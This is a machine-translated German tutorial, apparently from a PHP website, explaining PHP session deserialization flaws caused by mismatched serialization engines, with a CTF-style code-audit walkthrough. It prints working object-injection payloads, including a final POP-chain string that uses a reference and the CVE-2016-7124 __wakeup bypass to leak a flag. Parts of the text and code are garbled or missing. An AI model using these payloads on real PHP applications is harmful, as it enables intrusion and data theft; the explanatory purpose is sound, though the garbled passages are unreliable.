Heim  >  Artikel  >  Backend-Entwicklung  >  Eine kurze Diskussion über die Sicherheitslücke bei der Sitzungsdeserialisierung in PHP

Eine kurze Diskussion über die Sicherheitslücke bei der Sitzungsdeserialisierung in PHP

零下一度
零下一度Original
2017-06-17 10:47:331279Durchsuche

In diesem Artikel wird hauptsächlich die Sicherheitslücke bei der Sitzung-Deserialisierung von PHP vorgestellt.

Es gibt drei Konfigurationselemente in php.ini:


session.save_path=""  --设置session的存储路径
session.save_handler="" --设定用户自定义存储函数,如果想使用PHP内置会话存储机制之外的可以使用本函数(数据库等方式)
session.auto_start  boolen --指定会话模块是否在请求开始时启动一个会话,默认为0不启动
session.serialize_handler  string --定义用来序列化/反序列化的处理器名字。默认使用php

Die oben genannten Optionen beziehen sich auf die Sitzungsspeicherung und die Sequenzspeicherung in PHP.

Bei der Installation mit der xampp-Komponente lauten die Einstellungen der oben genannten Konfigurationselemente wie folgt:


session.save_path="D:\xampp\tmp"  表明所有的session文件都是存储在xampp/tmp下
session.save_handler=files     表明session是以文件的方式来进行存储的
session.auto_start=0        表明默认不启动session
session.serialize_handler=php    表明session的默认序列话引擎使用的是php序列话引擎

In der obigen Konfiguration session.serialize_handler Wird zum Festlegen der Sitzungssequenz-Engine verwendet. Zusätzlich zur Standard-PHP-Engine gibt es andere Engines. Die Speichermethoden der Sitzungen, die verschiedenen Engines entsprechen, sind unterschiedlich.

php_binary: Die Speichermethode ist das ASCII-Zeichen, das der Länge des Schlüsselnamens + Schlüsselname + dem durch die Funktion serialize() serialisierten Wert entspricht.

php: Der Speicher Methode ist: Schlüsselname + vertikaler Balken + durch die Funktion serialize() serialisierter Wert

php_serialize (php>5.5.4): Die Speichermethode ist, durch die Funktion serialize() serialisierter Wert

Die PHP-Engine wird standardmäßig in PHP verwendet. Wenn Sie sie auf eine andere Engine ändern möchten, müssen Sie nur den Code ini_set('session.serialize_handler', 'The Motor, der eingestellt werden muss');. Der Beispielcode lautet wie folgt:

Das Sitzungsverzeichnis befindet sich in /var/lib/php/sessions


<?php
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
session_start();
$_SESSION[&#39;name&#39;] = &#39;spoock&#39;;
var_dump($_SESSION);

Unter der php_serialize-Engine befindet sich die Sitzungsdatei wird gespeichert. Die Daten sind:


a:1:{s:4:"name";s:6:"spoock";}

php. Der Dateiinhalt unter der Engine ist:


name|s:6:"spoock";

php_binary unter der Engine Der Inhalt der Datei ist:


names:6:"spoock";

Da die Länge des Namens 4 beträgt, entspricht 4 EOT in der ASCII-Tabelle. Gemäß den Speicherregeln von php_binary lautet der letzte Name:6:"spoock";. (Plötzlich stellte ich fest, dass Zeichen mit einem ASCII-Wert von 4 nicht auf der Webseite angezeigt werden können. Bitte überprüfen Sie die ASCII-Tabelle selbst)

Serialisierungsrisiken in PHP-Sitzung

Es gibt kein Problem mit der Implementierung von Session in PHP. Der Schaden wird hauptsächlich durch die unsachgemäße Verwendung von Session durch Programmierer verursacht.

Wenn sich die von PHP zum Deserialisieren der gespeicherten $_SESSION-Daten verwendete Engine von der für die Serialisierung verwendeten Engine unterscheidet, werden die Daten nicht korrekt deserialisiert. Durch sorgfältig zusammengestellte Datenpakete ist es möglich, die Programmüberprüfung zu umgehen oder einige Systemmethoden auszuführen. Zum Beispiel:


$_SESSION[&#39;ryat&#39;] = &#39;|O:1:"A":1:{s:1:"a";s:2:"xx";}&#39;;

php-Datei wie:


Nach dem Zugriff wird der Inhalt angezeigt Die Sitzungsdatei wird wie folgt abgerufen:


root/var/lib/php/sessions cat sess_e07gghbkcm0etit02bkjlbhac6 
a:1:{s:4:"ryat";s:30:"|O:1:"A":1:{s:1:"a";s:2:"xx";}

Aber zu diesem Zeitpunkt, wenn die Simulation verschiedene PHP-Engines zum Lesen auf anderen Seiten verwendet, ist der Inhalt wie folgt: (Standardmäßig wird die PHP-Engine zum Lesen der Sitzungsdatei verwendet)


a;
  }
}
// var_dump($_SESSION);

Besuchen Sie diese Seite und geben Sie xx aus


xxarray(1) {
 ["a:1:{s:4:"ryat";s:30:""]=>
 object(A)#1 (1) {
  ["a"]=>
  string(2) "xx"
 }
}

Dies liegt daran, dass die PHP-Engine beim Ausführen der Engine | als Trennzeichen zwischen Schlüssel und Wert verwendet, dann a:1:{s:4:"ryat";s :30:“ wird als SESSION-Schlüssel verwendet und O:1: „A“:1:{s:1:“a“;s:2:“xx“;} wird als Wert verwendet und dann deserialisiert. und schließlich wird die Klasse A erhalten. Die verschiedenen Engines, die für die Serialisierung und Deserialisierung verwendet werden, sind die Ursache für die Sicherheitslücke bei der PHP-Sitzungsserialisierung. Die Sicherheitslücke wird ausgelöst, wenn die Sitzung den Inhalt liest und ihn beim Laden einer Seite mit PHP deserialisiert Engine. Dies ist nicht erforderlich.

Analyse einer Sicherheitslücke bei der Sitzungsdeserialisierung: Der Inhalt in index.php ist:


In PHP werden Serialisierungsvorgänge häufig für den Zugriff auf Daten verwendet, eine unsachgemäße Handhabung während des Serialisierungsprozesses kann jedoch zu Sicherheitsrisiken führen
<?php
//error_reporting(E_ERROR & ~E_NOTICE);
ini_set(&#39;session.serialize_handler&#39;, &#39;php_serialize&#39;);
header("content-type;text/html;charset=utf-8");
session_start();
if(isset($_GET[&#39;src&#39;])){
  $_SESSION[&#39;src&#39;] = $_GET[&#39;src&#39;];
  highlight_file(FILE);
  print_r($_SESSION[&#39;src&#39;]);
}
?>
<!DOCTYPE HTML>
<html>
 <head>
  <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
 <title>代码审计2</title>
 </head>
 <body>



Der Inhalt in query.php ist:
<form action="./query.php" method="POST">    
<input type="text" name="ticket" />        
<input type="submit" />
</form>
<a href="./?src=1">查看源码</a>
</body>
</html>



/************************/
/*
//query.php 部分代码
session_start();
header(&#39;Look me: edit by vim ~0~&#39;)
//......
class TOPA{
  public $token;
  public $ticket;
  public $username;
  public $password;
  function login(){
    //if($this->username == $USERNAME && $this->password == $PASSWORD){ //抱歉
    $this->username ==&#39;aaaaaaaaaaaaaaaaa&#39; && $this->password == &#39;bbbbbbbbbbbbbbbbbb&#39;){
      return &#39;key is:{&#39;.$this->token.&#39;}&#39;;
    }
  }
}
class TOPB{
  public $obj;
  public $attr;
  function construct(){
    $this->attr = null;
    $this->obj = null;
  }
  function toString(){
    $this->obj = unserialize($this->attr);
    $this->obj->token = $FLAG;
    if($this->obj->token === $this->obj->ticket){
      return (string)$this->obj;
    }
  }
}
class TOPC{
  public $obj;
  public $attr;
  function wakeup(){
    $this->attr = null;
    $this->obj = null;
  }
  function destruct(){
    echo $this->attr;
  }
}
*/

Der Die Idee ist wie folgt: In dieser Frage erstellen wir einen TOPC und

wird während der Zerstörung aufgerufen

echo $this->attr;
attr dem TOPB zuweisen Objekt, die tostring

magische Methode

wird automatisch aufgerufen, wenn TOPB zurückgegeben wird, und

wird in tostring aufgerufen, da Token und Ticket später verwendet werden, ist dies offensichtlich für TOPA erforderlich Objekt später.

, daher kann die Verwendung von unserialize($this->attr) als Zeigerreferenz während der Serialisierung die Beurteilung umgehen. $this->obj->token === $this->obj->ticket$a->ticket = &$a->token; Was den Grund betrifft, warum

das Flag ausgibt, kann die im Hintergrund geschriebene Anmeldung

Es wird eine wakeup()-Funktion in der deserialisierten (string)$this->obj-Zeichenfolge geben

, um die darin enthaltenen Parameter zu löschen. Ich frage mich, ob sie durch einen CVE: CVE-2016-7124 umgangen werden kann . Die Weckfunktion kann umgangen werden, indem das Feld auf einen größeren Wert als das tatsächliche Feld geändert wird. Der endgültige Code lautet:



|O:4:"TOPC":3:{s:3:"obj";N;s:4:"attr";O:4:"TOPB":2:{s:3:"obj";N;s:4:"attr";s:84:"O:4:"TOPA":4:{s:5:"token";N;s:6:"ticket";R:2;s:8:"username";i:0;s:8:"password";i:0;}";}}

Das obige ist der detaillierte Inhalt vonEine kurze Diskussion über die Sicherheitslücke bei der Sitzungsdeserialisierung in PHP. Für weitere Informationen folgen Sie bitte anderen verwandten Artikeln auf der PHP chinesischen Website!

Stellungnahme:
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn